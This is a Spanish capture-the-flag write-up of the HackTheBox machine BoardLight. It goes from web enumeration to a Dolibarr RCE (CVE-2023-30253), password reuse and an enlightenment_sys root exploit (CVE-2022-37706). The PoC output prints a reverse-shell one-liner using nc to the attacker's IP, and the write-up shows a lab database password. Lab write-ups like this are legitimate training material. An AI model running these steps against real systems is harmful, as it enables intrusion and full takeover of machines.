Ir al contenido
  1. Writeups/

HackTheBox - BoardLight

·7 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox. ~2h
  • Datos Iniciales: 10.129.231.37

Enumeración inicial
#

Hacemos un escaneo de puertos, encontramos lo siguiente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ sudo nmap -sT -Pn -p- 10.129.231.37 # Encuentra 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.231.37
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nada en UDP
  • 22/tcp (OpenSSH 8.2p1): Algunas vulnerabilidades no relevantes
  • 80/tcp (Apache httpd 2.4.41): Más vulnerabilidades, tampoco relevantes.

Puerto 80, HTTP
#

Al entrar, nos encontramos con una página de presentación de BoardLight.

BoardLight is a cybersecurity consulting firm specializing in providing cutting-edge security solutions to protect your business from cyber threats

Arriba aparecen varios botones que redirigen a páginas PHP:

  • Home redirige a index.php
  • About redirige a about.php
  • What we do redirige a do.php
  • Contact us redirige a contact.php
  • El icono de una persona redirige a about.php

Dicho esto, si analizamos cada uno de los archivos con BurpSuite y lo que se manda al solicitarlos, veremos que no hay nada interesante.

En contact.php parece haber un formulario, pero si miramos lo que se manda al servidor al enviarlo, no es ni una solicitud POST, simplemente es algo como GET /contact.php?=&=&=test&=, y no se hace nada con los datos que mandamos. Lo mismo para lo demás.

Si miramos el código fuente, tampoco vemos nada. Ahora bien, debajo de todas las páginas del servidor hay un pie de página que indica © 2020 All Rights Reserved By Board.htb. Es posible que haya algún subdominio?

Añadimos board.htb a /etc/hosts y buscamos subdominios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ gobuster vhost --url http://board.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://board.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
crm.board.htb Status: 200 [Size: 6360]

Y tenemos crm.board.htb, vamos a por él.

Subdominio CRM
#

Primero, lo añadimos a /etc/hosts también, luego entramos. Nos encontramos esto.

Es el panel de login de Dolibarr 17.0.0. Si buscamos más acerca de esto:

Dolibarr es un software integral de gestión empresarial que combina las funciones de un ERP (Planificación de Recursos Empresariales) y un CRM (Gestión de Relaciones con los Clientes). Es de código abierto (open source), gratuito y está diseñado principalmente para pymes, autónomos, emprendedores y asociaciones.

Si buscamos vulnerabilidades de esta versión:

  • CVE-2023-30253: Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation.

Encontramos un PoC disponible. Lo usamos. Además, tras una búsqueda, veo que las credenciales por defecto son o admin:admin o admin:changeme.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ git clone https://github.com/Rubikcuv5/cve-2023-30253
$ cd cve-2023-30253
$ python3 -m venv venv && source .venv/bin/activate
$ pip install -r requirements.txt

$ python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r 10.10.16.82 4444

[+] By Rubikcuv5.
[*] Url: http://crm.board.htb
[*] User: admin
[*] Password: admin
[*] Reverseshell info:
        IP:10.10.16.82
        PORT:4444
[*] Verifying accessibility of URL:http://crm.board.htb/admin/index.php
[*] Attempting login to http://crm.board.htb/admin/index.php as admin
[+] Login successfully!
[*] Creating web site ...
[+] Web site was create successfully!
[*] Creating web page ...
[+] Web page was create successfully!
[] Trying to bind to :: on port 4444: Trying ::
[*] Executing command rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.82 4444 >/tmp/f
...[SNIP]...

Desde el listener:

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from boardlight~10.129.231.37-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
─────────────────────────────────────────────────────────────────────────────────────
www-data@boardlight:~/html/crm.board.htb/htdocs/website$

Privesc 1
#

Somos www-data. Si miramos en /home y en /etc/hosts, encontraremos nuestro siguiente objetivo, larissa.

1
2
3
4
5
6
7
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ls /home/
larissa

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash

MySQL
#

Miramos puertos en local para ver si hay alguna base de datos, y efectivamente encontramos una en el puerto de MySQL/MariaDB:

1
2
3
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ netstat -tunlp | grep 127.0.0.1
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -

Si probamos a iniciar sin credenciales, fallará el login.

1
2
3
4
5
6
www-data@boardlight:~/html/crm.board.htb$ mysql
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: NO)

www-data@boardlight:~/html/crm.board.htb$ mysql -u root -p
Enter password: 
ERROR 1698 (28000): Access denied for user 'root'@'localhost'

Así que tenemos que encontrar las credenciales que usa Dolibarr para conectarse. Si buscamos en Internet, encontraremos que se almacenan en un único archivo: /etc/dolibarr/conf.php o /var/www/html/[dominio_dolibarr]/htdocs/conf/conf.php.

En este caso, se trata de /var/www/html/crm.board.htb/htdocs/conf/conf.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@boardlight:~/html/crm.board.htb$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep main_db
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';

Y tenemos las credenciales dolibarrowner:serverfun2$2023!!.

1
2
3
$ mysql -u "dolibarrowner" -p"serverfun2$2023!!"
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'dolibarrowner'@'localhost' (using password: YES)

Falla, es posible que sea porque normalmente para MySQL “localhost” no es lo mismo que “127.0.0.1”. Probamos con la segunda

1
2
3
www-data@boardlight:~/html/crm.board.htb$ mysql -h 127.0.0.1 -u "dolibarrowner" -p"serverfun2$2023!!"
mysql: [Warning] Using a password on the command line interface can be insecure.
ERROR 1045 (28000): Access denied for user 'dolibarrowner'@'localhost' (using password: YES)

Tampoco nos deja. De todas formas, podemos simplemente probar a reutilizar la contraseña con el usuario larissa.

1
2
3
www-data@boardlight:~/html/crm.board.htb$ su larissa
Password: 
larissa@boardlight:/var/www/html/crm.board.htb$

Y ahí lo tenemos.

Privesc 2
#

Una vez somos larissa, ejecutamos LinPEAS.

Pruebas iniciales
#

Ignorando vulnerabilidades de kernel recientes como CopyFail, DirtyFrag y similares, encontramos lo siguiente:

  • ID: uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
  • CVE-2021-3156: Por versión de Sudo 1.8.31 (Baron Samedit)
  • CVE-2022-0847: Vuln. de kernel (DirtyPipe)
  • CVE-2022-0995: Vuln. de kernel (watch_queue)

Probamos cualquiera de las 3 de abajo, y no funciona ninguna, así que echamos un ojo al grupo adm al que pertenecemos. Tras una búsqueda, veo que este grupo está para lo siguiente:

In Linux, the adm group is a system group primarily used to grant members read-only access to system log files in the /var/log directory (such as auth.log and syslog) without needing root or sudo privileges.

Es decir, que podemos ver los registros del sistema. Esto puede ser útil si un usuario, como root, ha escrito sus credenciales en algún comando como argumento.

Si miramos qué archivos podemos ver:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
larissa@boardlight:/tmp$ find / -group adm 2>/dev/null
/var/log/mysql
/var/log/mysql/error.log
/var/log/unattended-upgrades
/var/log/apache2
/var/log/apache2/error.log
/var/log/kern.log.1
/var/log/auth.log
/var/log/dmesg.0
/var/log/syslog.1
/var/log/kern.log
/var/log/audit
/var/log/audit/audit.log
/var/log/audit/audit.log.3
/var/log/audit/audit.log.1
/var/log/audit/audit.log.2
/var/log/audit/audit.log.4
/var/log/auth.log.1
/var/log/syslog
/var/log/dmesg
/var/log/nginx
/var/spool/rsyslog

Al parecer, los útiles aquí son syslog y auth.log, pero si miramos dentro, no vemos ninguna contraseña ni nada. En el resto tampoco parece haber nada relevante.

Enlightenment_sys
#

Si miramos los archivos con SUID Bit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
larissa@boardlight:/tmp$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

Encontramos varios, pero si buscamos en Internet cuáles son relevantes, veremos que /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys puede permitirnos escalar privilegios fácilmente (CVE-2022-37706).

El binario utiliza de forma interna funciones del sistema para invocar el comando /bin/mount utilizando rutas introducidas por el usuario. Al no desinfectar correctamente los parámetros de entrada, un atacante puede manipular cadenas de texto y usar subcadenas como /dev/.. para inyectar comandos arbitrarios que el sistema ejecutará con los privilegios del dueño del binario (root).

Descargamos y subimos a la máquina este exploit.

Lo ejecutamos y…

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
larissa@boardlight:/tmp$ chmod +x exploit.sh 
larissa@boardlight:/tmp$ ./exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root

Tenemos root.

Relacionados

HackTheBox - Analytics

·8 mins
OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, RCE, Metabase

HackTheBox - Connected

·15 mins
OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.

HackTheBox - Snapped

·12 mins
OS: Linux | Dificultad: Hard | Conceptos: Enum. de subdominios, Nginx UI Backup Manipulation, Extracción de credenciales, Bcrypt Cracking, TOCTOU Race Condition, Snapd LPE